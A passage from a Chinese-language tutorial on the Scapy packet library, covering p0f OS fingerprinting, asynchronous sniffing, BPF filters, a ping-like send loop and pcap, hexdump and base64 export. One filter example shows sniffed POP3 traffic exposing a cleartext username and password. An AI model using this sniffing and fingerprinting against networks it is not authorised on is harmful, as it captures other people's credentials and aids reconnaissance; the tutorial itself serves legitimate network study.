class="number">00</span>:<span class="number">40</span>:<span class="number">33</span>:<span class="number">96</span>:<span class="number">7</span>b:<span class="number">60</span> type=<span class="number">0x800</span> |<IP version=<span class="number">4L</span></span><br><span class="line"> ihl=<span class="number">5L</span> tos=<span class="number">0x0</span> len=<span class="number">60</span> id=<span class="number">61681</span> flags=DF frag=<span class="number">0L</span> ttl=<span class="number">64</span> proto=TCP chksum=<span class="number">0xb85e</span></span><br><span class="line"> src=<span class="number">192.168</span><span class="number">.8</span><span class="number">.10</span> dst=<span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> options=<span class="string">''</span> |<TCP sport=<span class="number">46511</span> dport=<span class="number">80</span></span><br><span class="line"> seq=<span class="number">2023566040L</span> ack=<span class="number">0L</span> dataofs=<span class="number">10L</span> reserved=<span class="number">0L</span> flags=SEC window=<span class="number">5840</span></span><br><span class="line"> chksum=<span class="number">0x570c</span> urgptr=<span class="number">0</span> options=[(<span class="string">'Timestamp'</span>, (<span class="number">342940201L</span>, <span class="number">0L</span>)), (<span class="string">'MSS'</span>, <span class="number">1460</span>),</span><br><span class="line"> (<span class="string">'NOP'</span>, ()), (<span class="string">'SAckOK'</span>, <span class="string">''</span>), (<span class="string">'WScale'</span>, <span class="number">0</span>)] |>>></span><br><span class="line"><span class="meta">>>> </span>load_module(<span class="string">"p0f"</span>)</span><br><span class="line"><span class="meta">>>> </span>p0f(p)</span><br><span class="line">(<span class="number">1.0</span>, [<span class="string">'Linux 2.4.2 - 2.4.14 (1)'</span>])</span><br><span class="line"><span class="meta">>>> </span>a=sniff(prn=prnp0f)</span><br><span class="line">(<span class="number">1.0</span>, [<span class="string">'Linux 2.4.2 - 2.4.14 (1)'</span>])</span><br><span class="line">(<span class="number">1.0</span>, [<span class="string">'Linux 2.4.2 - 2.4.14 (1)'</span>])</span><br><span class="line">(<span class="number">0.875</span>, [<span class="string">'Linux 2.4.2 - 2.4.14 (1)'</span>, <span class="string">'Linux 2.4.10 (1)'</span>, <span class="string">'Windows 98 (?)'</span>])</span><br><span class="line">(<span class="number">1.0</span>, [<span class="string">'Windows 2000 (9)'</span>])</span><br></pre></td></tr></table></figure><p> 猜测操作系统版本前的数字为猜测的精确度。 </p><h3 id="Asynchronous-Sniffing"><a href="#Asynchronous-Sniffing" class="headerlink" title="Asynchronous Sniffing"></a>Asynchronous Sniffing</h3><p>注意</p><p>Asynchronous sniffing 只用于 <strong>Scapy 2.4.3</strong> 及以上版本</p><p>你可以异步的使用 sniffer . 这样 sniffer 就可以被程序化的终止,而非总是使用ctrl^C.我们提供了 <code>start()</code>, <code>stop()</code> 和 <code>join()</code> 方法.</p><p>基础用法如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>t = AsyncSniffer()</span><br><span class="line"><span class="meta">>>> </span>t.start()</span><br><span class="line"><span class="meta">>>> </span>print(<span class="string">"hey"</span>)</span><br><span class="line">hey</span><br><span class="line">[...]</span><br><span class="line"><span class="meta">>>> </span>results = t.stop()</span><br></pre></td></tr></table></figure><p><img src="animation-scapy-asyncsniffer.svg" alt="_images/animation-scapy-asyncsniffer.svg"></p><p> <code>AsyncSniffer</code> 类有一些有用的关键字, 比如 <code>results</code> (收集到的数据包) 或 <code>running</code>, 这些都是可用的. 他接受与 <code>sniff()</code> 相同的参数(实际上,他们的实现是相结合的)。例如:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>t = AsyncSniffer(iface=<span class="string">"enp0s3"</span>, count=<span class="number">200</span>)</span><br><span class="line"><span class="meta">>>> </span>t.start()</span><br><span class="line"><span class="meta">>>> </span>t.join() <span class="comment"># this will hold until 200 packets are collected</span></span><br><span class="line"><span class="meta">>>> </span>results = t.results</span><br><span class="line"><span class="meta">>>> </span>print(len(results))</span><br><span class="line"><span class="number">200</span></span><br></pre></td></tr></table></figure><p>另一个例子: 使用 <code>prn</code> 和 <code>store=False</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>t = AsyncSniffer(prn=<span class="keyword">lambda</span> x: x.summary(), store=<span class="literal">False</span>, filter=<span class="string">"tcp"</span>)</span><br><span class="line"><span class="meta">>>> </span>t.start()</span><br><span class="line"><span class="meta">>>> </span>time.sleep(<span class="number">20</span>)</span><br><span class="line"><span class="meta">>>> </span>t.stop()</span><br></pre></td></tr></table></figure><h3 id="Advanced-Sniffing-Sniffing-Sessions"><a href="#Advanced-Sniffing-Sniffing-Sessions" class="headerlink" title="Advanced Sniffing - Sniffing Sessions"></a>Advanced Sniffing - Sniffing Sessions</h3><p>注意</p><p>Sessions 只用于 <strong>Scapy 2.4.3</strong> 及以上版本</p><p><code>sniff()</code> 同样提供 <strong>Sessions</strong> 服务, 这使得数据包可以被无缝剖析. 打个比方, 你想在执行 <code>prn</code>之前用<code>sniff(prn=...)</code> 来自动整理IP数据包 .</p><p>Scapy 包含了一些基础的 Sessions, 但同样可以被自定义. 默认的有如下:</p><ul><li><code>IPSession</code> -> <em>defragment IP packets</em> on-the-flow, to make a stream usable by <code>prn</code>.</li><li><code>TCPSession</code> -> <em>defragment certain TCP protocols*</em>. Only <strong>HTTP 1.0</strong> currently uses this functionality.</li><li><code>NetflowSession</code> -> <em>resolve Netflow V9 packets</em> from their NetflowFlowset information objects</li></ul><p>使用 <code>sniff()</code> 的 <code>session=</code> 参数来使用他们:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>sniff(session=IPSession, iface=<span class="string">"eth0"</span>)</span><br><span class="line"><span class="meta">>>> </span>sniff(session=TCPSession, prn=<span class="keyword">lambda</span> x: x.summary(), store=<span class="literal">False</span>)</span><br><span class="line"><span class="meta">>>> </span>sniff(offline=<span class="string">"file.pcap"</span>, session=NetflowSession)</span><br></pre></td></tr></table></figure><p>注意</p><p>如果要为了支持其他 flow-based 的协议自定义 Session 类,可以简单地从 <a href="https://github.com/secdev/scapy/blob/master/scapy/sessions.py" target="_blank" rel="noopener">scapy/sessions.py</a> 中复制一份样例。 你的自定义 <code>Session</code> 类只用拓展 <code>DefaultSession</code> 类, 并自定义其中的on_packet_received` 函数即可, 如例中所示。</p><h3 id="Filters"><a href="#Filters" class="headerlink" title="Filters"></a>Filters</h3><p> 演示一下bpf过滤器和sprintf()方法: </p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>a=sniff(filter=<span class="string">"tcp and ( port 25 or port 110 )"</span>,</span><br><span class="line"> prn=<span class="keyword">lambda</span> x: x.sprintf(<span class="string">"%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport% %2s,TCP.flags% : %TCP.payload%"</span>))</span><br><span class="line">192.168.8.10:47226 -> 213.228.0.14:110 S :</span><br><span class="line">213.228.0.14:110 -> 192.168.8.10:47226 SA :</span><br><span class="line">192.168.8.10:47226 -> 213.228.0.14:110 A :</span><br><span class="line">213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK <[email protected]></span><br><span class="line"></span><br><span class="line">192.168.8.10:47226 -> 213.228.0.14:110 A :</span><br><span class="line">192.168.8.10:47226 -> 213.228.0.14:110 PA : USER toto</span><br><span class="line"></span><br><span class="line">213.228.0.14:110 -> 192.168.8.10:47226 A :</span><br><span class="line">213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK</span><br><span class="line"></span><br><span class="line">192.168.8.10:47226 -> 213.228.0.14:110 A :</span><br><span class="line">192.168.8.10:47226 -> 213.228.0.14:110 PA : PASS tata</span><br><span class="line"></span><br><span class="line">213.228.0.14:110 -> 192.168.8.10:47226 PA : -ERR authorization failed</span><br><span class="line"></span><br><span class="line">192.168.8.10:47226 -> 213.228.0.14:110 A :</span><br><span class="line">213.228.0.14:110 -> 192.168.8.10:47226 FA :</span><br><span class="line">192.168.8.10:47226 -> 213.228.0.14:110 FA :</span><br><span class="line">213.228.0.14:110 -> 192.168.8.10:47226 A :</span><br></pre></td></tr></table></figure><h3 id="Send-and-receive-in-a-loop"><a href="#Send-and-receive-in-a-loop" class="headerlink" title="Send and receive in a loop"></a>Send and receive in a loop</h3><p> 这儿有一个例子来实现类似(h)ping的功能:你一直发送同样的数据包集合来观察是否发生变化: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>srloop(IP(dst=<span class="string">"www.target.com/30"</span>)/TCP())</span><br><span class="line">RECV <span class="number">1</span>: Ether / IP / TCP <span class="number">192.168</span><span class="number">.11</span><span class="number">.99</span>:<span class="number">80</span> > <span class="number">192.168</span><span class="number">.8</span><span class="number">.14</span>:<span class="number">20</span> SA / Padding</span><br><span class="line">fail <span class="number">3</span>: IP / TCP <span class="number">192.168</span><span class="number">.8</span><span class="number">.14</span>:<span class="number">20</span> > <span class="number">192.168</span><span class="number">.11</span><span class="number">.96</span>:<span class="number">80</span> S</span><br><span class="line"> IP / TCP <span class="number">192.168</span><span class="number">.8</span><span class="number">.14</span>:<span class="number">20</span> > <span class="number">192.168</span><span class="number">.11</span><span class="number">.98</span>:<span class="number">80</span> S</span><br><span class="line"> IP / TCP <span class="number">192.168</span><span class="number">.8</span><span class="number">.14</span>:<span class="number">20</span> > <span class="number">192.168</span><span class="number">.11</span><span class="number">.97</span>:<span class="number">80</span> S</span><br><span class="line">RECV <span class="number">1</span>: Ether / IP / TCP <span class="number">192.168</span><span class="number">.11</span><span class="number">.99</span>:<span class="number">80</span> > <span class="number">192.168</span><span class="number">.8</span><span class="number">.14</span>:<span class="number">20</span> SA / Padding</span><br><span class="line">fail <span class="number">3</span>: IP / TCP <span class="number">192.168</span><span class="number">.8</span><span class="number">.14</span>:<span class="number">20</span> > <span class="number">192.168</span><span class="number">.11</span><span class="number">.96</span>:<span class="number">80</span> S</span><br><span class="line"> IP / TCP <span class="number">192.168</span><span class="number">.8</span><span class="number">.14</span>:<span class="number">20</span> > <span class="number">192.168</span><span class="number">.11</span><span class="number">.98</span>:<span class="number">80</span> S</span><br><span class="line"> IP / TCP <span class="number">192.168</span><span class="number">.8</span><span class="number">.14</span>:<span class="number">20</span> > <span class="number">192.168</span><span class="number">.11</span><span class="number">.97</span>:<span class="number">80</span> S</span><br><span class="line">RECV <span class="number">1</span>: Ether / IP / TCP <span class="number">192.168</span><span class="number">.11</span><span class="number">.99</span>:<span class="number">80</span> > <span class="number">192.168</span><span class="number">.8</span><span class="number">.14</span>:<span class="number">20</span> SA / Padding</span><br><span class="line">fail <span class="number">3</span>: IP / TCP <span class="number">192.168</span><span class="number">.8</span><span class="number">.14</span>:<span class="number">20</span> > <span class="number">192.168</span><span class="number">.11</span><span class="number">.96</span>:<span class="number">80</span> S</span><br><span class="line"> IP / TCP <span class="number">192.168</span><span class="number">.8</span><span class="number">.14</span>:<span class="number">20</span> > <span class="number">192.168</span><span class="number">.11</span><span class="number">.98</span>:<span class="number">80</span> S</span><br><span class="line"> IP / TCP <span class="number">192.168</span><span class="number">.8</span><span class="number">.14</span>:<span class="number">20</span> > <span class="number">192.168</span><span class="number">.11</span><span class="number">.97</span>:<span class="number">80</span> S</span><br><span class="line">RECV <span class="number">1</span>: Ether / IP / TCP <span class="number">192.168</span><span class="number">.11</span><span class="number">.99</span>:<span class="number">80</span> > <span class="number">192.168</span><span class="number">.8</span><span class="number">.14</span>:<span class="number">20</span> SA / Padding</span><br><span class="line">fail <span class="number">3</span>: IP / TCP <span class="number">192.168</span><span class="number">.8</span><span class="number">.14</span>:<span class="number">20</span> > <span class="number">192.168</span><span class="number">.11</span><span class="number">.96</span>:<span class="number">80</span> S</span><br><span class="line"> IP / TCP <span class="number">192.168</span><span class="number">.8</span><span class="number">.14</span>:<span class="number">20</span> > <span class="number">192.168</span><span class="number">.11</span><span class="number">.98</span>:<span class="number">80</span> S</span><br><span class="line"> IP / TCP <span class="number">192.168</span><span class="number">.8</span><span class="number">.14</span>:<span class="number">20</span> > <span class="number">192.168</span><span class="number">.11</span><span class="number">.97</span>:<span class="number">80</span> S</span><br></pre></td></tr></table></figure><h3 id="Importing-and-Exporting-Data"><a href="#Importing-and-Exporting-Data" class="headerlink" title="Importing and Exporting Data"></a>Importing and Exporting Data</h3><h4 id="PCAP"><a href="#PCAP" class="headerlink" title="PCAP"></a>PCAP</h4><p> 通常可以将数据包保存为pcap文件以备后用,或者是供其他的应用程序使用: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>wrpcap(<span class="string">"temp.cap"</span>,pkts)</span><br></pre></td></tr></table></figure><p> 还原之前保存的pcap文件: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>pkts = rdpcap(<span class="string">"temp.cap"</span>)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>pkts = sniff(offline=<span class="string">"temp.cap"</span>)</span><br></pre></td></tr></table></figure><h4 id="Hexdump"><a href="#Hexdump" class="headerlink" title="Hexdump"></a>Hexdump</h4><p>Scapy允许你以不同的十六进制格式输出编码的数据包。</p><p>使用<code>hexdump()</code>函数会以经典的hexdump格式输出数据包:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>hexdump(pkt)</span><br><span class="line"><span class="number">0000</span> <span class="number">00</span> <span class="number">50</span> <span class="number">56</span> FC CE <span class="number">50</span> <span class="number">00</span> <span class="number">0</span>C <span class="number">29</span> <span class="number">2</span>B <span class="number">53</span> <span class="number">19</span> <span class="number">08</span> <span class="number">00</span> <span class="number">45</span> <span class="number">00</span> .PV..P..)+S...E.</span><br><span class="line"><span class="number">0010</span> <span class="number">00</span> <span class="number">54</span> <span class="number">00</span> <span class="number">00</span> <span class="number">40</span> <span class="number">00</span> <span class="number">40</span> <span class="number">01</span> <span class="number">5</span>A <span class="number">7</span>C C0 A8 <span class="number">19</span> <span class="number">82</span> <span class="number">04</span> <span class="number">02</span> .T..@[email protected]|......</span><br><span class="line"><span class="number">0020</span> <span class="number">02</span> <span class="number">01</span> <span class="number">08</span> <span class="number">00</span> <span class="number">9</span>C <span class="number">90</span> <span class="number">5</span>A <span class="number">61</span> <span class="number">00</span> <span class="number">01</span> E6 DA <span class="number">70</span> <span class="number">49</span> B6 E5 ......Za....pI..</span><br><span class="line"><span class="number">0030</span> <span class="number">08</span> <span class="number">00</span> <span class="number">08</span> <span class="number">09</span> <span class="number">0</span>A <span class="number">0</span>B <span class="number">0</span>C <span class="number">0</span>D <span class="number">0</span>E <span class="number">0</span>F <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span> <span class="number">15</span> ................</span><br><span class="line"><span class="number">0040</span> <span class="number">16</span> <span class="number">17</span> <span class="number">18</span> <span class="number">19</span> <span class="number">1</span>A <span class="number">1</span>B <span class="number">1</span>C <span class="number">1</span>D <span class="number">1</span>E <span class="number">1</span>F <span class="number">20</span> <span class="number">21</span> <span class="number">22</span> <span class="number">23</span> <span class="number">24</span> <span class="number">25</span> .......... !<span class="string">"#$%</span></span><br><span class="line"><span class="string">0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345</span></span><br><span class="line"><span class="string">0060 36 37 67</span></span><br></pre></td></tr></table></figure><p> 使用<code>import_hexcap()</code>函数可以将以上的hexdump重新导入到Scapy中: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>pkt_hex = Ether(import_hexcap())</span><br><span class="line"><span class="number">0000</span> <span class="number">00</span> <span class="number">50</span> <span class="number">56</span> FC CE <span class="number">50</span> <span class="number">00</span> <span class="number">0</span>C <span class="number">29</span> <span class="number">2</span>B <span class="number">53</span> <span class="number">19</span> <span class="number">08</span> <span class="number">00</span> <span class="number">45</span> <span class="number">00</span> .PV..P..)+S...E.</span><br><span class="line"><span class="number">0010</span> <span class="number">00</span> <span class="number">54</span> <span class="number">00</span> <span class="number">00</span> <span class="number">40</span> <span class="number">00</span> <span class="number">40</span> <span class="number">01</span> <span class="number">5</span>A <span class="number">7</span>C C0 A8 <span class="number">19</span> <span class="number">82</span> <span class="number">04</span> <span class="number">02</span> .T..@[email protected]|......</span><br><span class="line"><span class="number">0020</span> <span class="number">02</span> <span class="number">01</span> <span class="number">08</span> <span class="number">00</span> <span class="number">9</span>C <span class="number">90</span> <span class="number">5</span>A <span class="number">61</span> <span class="number">00</span> <span class="number">01</span> E6 DA <span class="number">70</span> <span class="number">49</span> B6 E5 ......Za....pI..</span><br><span class="line"><span class="number">0030</span> <span class="number">08</span> <span class="number">00</span> <span class="number">08</span> <span class="number">09</span> <span class="number">0</span>A <span class="number">0</span>B <span class="number">0</span>C <span class="number">0</span>D <span class="number">0</span>E <span class="number">0</span>F <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span> <span class="number">15</span> ................</span><br><span class="line"><span class="number">0040</span> <span class="number">16</span> <span class="number">17</span> <span class="number">18</span> <span class="number">19</span> <span class="number">1</span>A <span class="number">1</span>B <span class="number">1</span>C <span class="number">1</span>D <span class="number">1</span>E <span class="number">1</span>F <span class="number">20</span> <span class="number">21</span> <span class="number">22</span> <span class="number">23</span> <span class="number">24</span> <span class="number">25</span> .......... !<span class="string">"#$%</span></span><br><span class="line"><span class="string">0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345</span></span><br><span class="line"><span class="string">0060 36 37 67</span></span><br><span class="line"><span class="string">>>> pkt_hex</span></span><br><span class="line"><span class="string"><Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L</span></span><br><span class="line"><span class="string">ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c</span></span><br><span class="line"><span class="string">src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0</span></span><br><span class="line"><span class="string">chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n</span></span><br><span class="line"><span class="string">\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e</span></span><br><span class="line"><span class="string">\x1f !"</span><span class="comment">#$%&\'()*+,-./01234567' |>>>></span></span><br></pre></td></tr></table></figure><h4 id="Binary-string"><a href="#Binary-string" class="headerlink" title="Binary string"></a>Binary string</h4><p> 使用raw<code>()</code>函数可以将整个数据包转换成二进制字符串: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>pkts = sniff(count = <span class="number">1</span>)</span><br><span class="line"><span class="meta">>>> </span>pkt = pkts[<span class="number">0</span>]</span><br><span class="line"><span class="meta">>>> </span>pkt</span><br><span class="line"><Ether dst=<span class="number">00</span>:<span class="number">50</span>:<span class="number">56</span>:fc:ce:<span class="number">50</span> src=<span class="number">00</span>:<span class="number">0</span>c:<span class="number">29</span>:<span class="number">2</span>b:<span class="number">53</span>:<span class="number">19</span> type=<span class="number">0x800</span> |<IP version=<span class="number">4L</span></span><br><span class="line">ihl=<span class="number">5L</span> tos=<span class="number">0x0</span> len=<span class="number">84</span> id=<span class="number">0</span> flags=DF frag=<span class="number">0L</span> ttl=<span class="number">64</span> proto=icmp chksum=<span class="number">0x5a7c</span></span><br><span class="line">src=<span class="number">192.168</span><span class="number">.25</span><span class="number">.130</span> dst=<span class="number">4.2</span><span class="number">.2</span><span class="number">.1</span> options=<span class="string">''</span> |<ICMP type=echo-request code=<span class="number">0</span></span><br><span class="line">chksum=<span class="number">0x9c90</span> id=<span class="number">0x5a61</span> seq=<span class="number">0x1</span> |<Raw load=<span class="string">'\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n</span></span><br><span class="line"><span class="string">\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e</span></span><br><span class="line"><span class="string">\x1f !"#$%&\'()*+,-./01234567'</span> |>>>></span><br><span class="line"><span class="meta">>>> </span>pkt_raw = raw(pkt)</span><br><span class="line"><span class="meta">>>> </span>pkt_raw</span><br><span class="line"><span class="string">'\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8</span></span><br><span class="line"><span class="string">\x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00</span></span><br><span class="line"><span class="string">\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b</span></span><br><span class="line"><span class="string">\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'</span></span><br></pre></td></tr></table></figure><p> 通过选择合适的起始层(例如<code>Ether()</code>),我们可以重新导入二进制字符串。 </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">>>> new_pkt = Ether(pkt_raw)</span><br><span class="line">>>> new_pkt</span><br><span class="line"><Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L</span><br><span class="line">ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c</span><br><span class="line">src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0</span><br><span class="line">chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n</span><br><span class="line">\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e</span><br><span class="line">\x1f !"#$%&\'()*+,-./01234567' |>>>></span><br></pre></td></tr></table></figure><h4 id="Base64"><a href="#Base64" class="headerlink" title="Base64"></a>Base64</h4><p> 使用<code>export_object()</code>函数,Scapy可以数据包转换成base64编码的Python数据结构: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>pkt</span><br><span class="line"><Ether dst=<span class="number">00</span>:<span class="number">50</span>:<span class="number">56</span>:fc:ce:<span class="number">50</span> src=<span class="number">00</span>:<span class="number">0</span>c:<span class="number">29</span>:<span class="number">2</span>b:<span class="number">53</span>:<span class="number">19</span> type=<span class="number">0x800</span> |<IP version=<span class="number">4L</span></span><br><span class="line">ihl=<span class="number">5L</span> tos=<span class="number">0x0</span> len=<span class="number">84</span> id=<span class="number">0</span> flags=DF frag=<span class="number">0L</span> ttl=<span class="number">64</span> proto=icmp chksum=<span class="number">0x5a7c</span></span><br><span class="line">src=<span class="number">192.168</span><span class="number">.25</span><span class="number">.130</span> dst=<span class="number">4.2</span><span class="number">.2</span><span class="number">.1</span> options=<span class="string">''</span> |<ICMP type=echo-request code=<span class="number">0</span></span><br><span class="line">chksum=<span class="number">0x9c90</span> id=<span class="number">0x5a61</span> seq=<span class="number">0x1</span> |<Raw load=<span class="string">'\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n</span></span><br><span class="line"><span class="string">\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f</span></span><br><span class="line"><span class="string">!"#$%&\'()*+,-./01234567'</span> |>>>></span><br><span class="line"><span class="meta">>>> </span>export_object(pkt)</span><br><span class="line">eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST</span><br><span class="line">OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+<span class="number">1</span>rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao</span><br><span class="line">bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT</span><br><span class="line">WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p> 使用<code>import_object()</code>函数,可以将以上输出重新导入到Scapy中: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>new_pkt = import_object()</span><br><span class="line">eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST</span><br><span class="line">OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+<span class="number">1</span>rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao</span><br><span class="line">bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT</span><br><span class="line">WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6</span><br><span class="line">...</span><br><span class="line"><span class="meta">>>> </span>new_pkt</span><br><span class="line"><Ether dst=<span class="number">00</span>:<span class="number">50</span>:<span class="number">56</span>:fc:ce:<span class="number">50</span> src=<span class="number">00</span>:<span class="number">0</span>c:<span class="number">29</span>:<span class="number">2</span>b:<span class="number">53</span>:<span class="number">19</span> type=<span class="number">0x800</span> |<IP version=<span class="number">4L</span></span><br><span class="line">ihl=<span class="number">5L</span> tos=<span class="number">0x0</span> len=<span class="number">84</span> id=<span class="number">0</span> flags=DF frag=<span class="number">0L</span> ttl=<span class="number">64</span> proto=icmp chksum=<span class="number">0x5a7c</span></span><br><span class="line">src=<span class="number">192.168</span><span class="number">.25</span><span class="number">.130</span> dst=<span class="number">4.2</span><span class="number">.2</span><span class="number">.1</span> options=<span class="string">''</span> |<ICMP type=echo-request code=<span class="number">0</span></span><br><span class="line">chksum=<span class="number">0x9c90</span> id=<span class="number">0x5a61</span> seq=<span class="number">0x1</span> |<Raw load=<span class="string">'\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n</span></span><br><span class="line"><span class="string">\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f</span></span><br><span class="line"><span class="string">!"#$%&\'()*+,-./01234567'</span> |>>>></span><br></pre></td></tr></table></figure><h4 id="Sessions"><a 